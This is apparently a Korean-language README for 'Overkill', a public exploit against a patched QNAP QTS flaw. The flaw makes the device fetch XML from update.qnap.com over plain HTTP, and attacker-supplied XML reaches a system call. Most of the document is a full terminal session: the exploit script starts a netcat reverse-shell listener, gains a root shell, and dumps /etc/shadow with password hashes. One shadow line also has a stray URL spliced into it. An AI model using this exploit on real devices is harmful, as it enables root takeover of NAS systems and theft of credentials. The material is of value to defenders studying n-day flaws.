
QNAP N-Day (아마도 CVE-2020-2509가 아님)
Overkill은 QNAP QTS에 영향을 미치는 패치된 취약점에 대한 익스플로잇입니다. QNAP의 취약점 공개 방식으로 인해 이 문제에 CVE가 있는지 확실하지 않습니다. 그러나 2020년 11월과 2021년 4월에 패치되었을 가능성이 높습니다. 이 n-day는 CVE-2020-2509에 대한 diff 분석 중에 "발견"되었습니다. 이것은 거의 확실히 CVE-2020-2509가 아닙니다.
익스플로잇은 HTTP GET 요청을 /cgi-bin/qnapmsg.cgi?lang=xxx로 전송하여, 패치되지 않은 QNAP 장치가 안전하지 않은 HTTP를 통해 update.qnap.com에서 XML 파일을 다운로드하도록 합니다. update.qnap.com을 자신에게 리디렉션할 수 있는 공격자는 공격자가 제어하는 XML 파일로 응답할 수 있습니다. QNAP이 XML 파일을 구문 분석할 때 일부 내용을 system 호출에 전달하여 리버스 셸을 생성합니다.
이 익스플로잇은 update.qnap.com 요청을 익스플로잇으로 향하게 하는 방법을 구현하지 않습니다. 아래 예제에서는 제 라우터에서 라우터 DNS 하이재킹을 사용했습니다... 결과는 다를 수 있습니다.
albinolobster@ubuntu:~/overkill$ sudo python3 overkill.py --rhost 10.12.70.251 --lhost 10.12.70.252
01001001001000000110001101100001011011100010011101110100001000000110011101100101
______ ___ ___ _______ _______ __ ___ __ ___ ___
/ " \|" \ /" |/" "| /" \ |/"| / ") |" \ |" | |" |
// ____ \\ \ // /(: ______)|: |(: |/ / || | || | || |
/ / ) :)\\ \/. ./ \/ | |_____/ )| __/ |: | |: | |: |
(: (____/ // \. // // ___)_ // / (// _ \ |. | \ |___ \ |___
\ / \\ / (: "||: __ \ |: | \ \ /\ |\( \_|: \( \_|: \
\"_____/ \__/ \_______)|__| \___)(__| \__)(__\_|_)\_______)\_______)
01110100001000000111010001101111001000000111001101101100011001010110010101110000
🦞 jbaines-r7
[+] Forking a netcat listener
[+] Using /usr/bin/nc
Listening on 0.0.0.0 1270
[+] Spinning up HTTP server
[!] Attempting http://10.12.70.251:8080/cgi-bin/qnapmsg.cgi?lang=eng
[+] Received an HTTP request from 10.12.70.251 on 27/Jul/2022 11:58:23
[*] Requested /loginad//qnapmsg_eng.xml
10.12.70.251 - - [27/Jul/2022 11:58:23] "GET /loginad//qnapmsg_eng.xml HTTP/1.1" 200 -
Connection received on 10.12.70.251 44630
bash-3.2# uname -a
uname -a
Linux NAS4A32F3 4.2.8 #1 SMP Sun Nov 8 01:50:48 CST 2020 aarch64 GNU/Linux
bash-3.2# id
id
uid=0(admin) gid=0(administrators)
bash-3.2# cat /etc/shadow
cat /etc/shadow
admin:!$1$5pFeLUat$D8jTQogWJy0HF3XjkD13q/:19181:0:99999:7:::
guest:$1$$ysap7EeB9ODCrO46Psdbq/:14233:0:99999:7:::
httpdusr:!:19181:0:99999:7:::
albinolobster:$1$cZCC65z5$NXtIBB4hgqzVG.PHyShKh1:19195:0:99999:7:::
[sshd]:https://raw.githubusercontent.com/jbaines-r7/overkill/main/!:19181:0:99999:7:::
bash-3.2# exit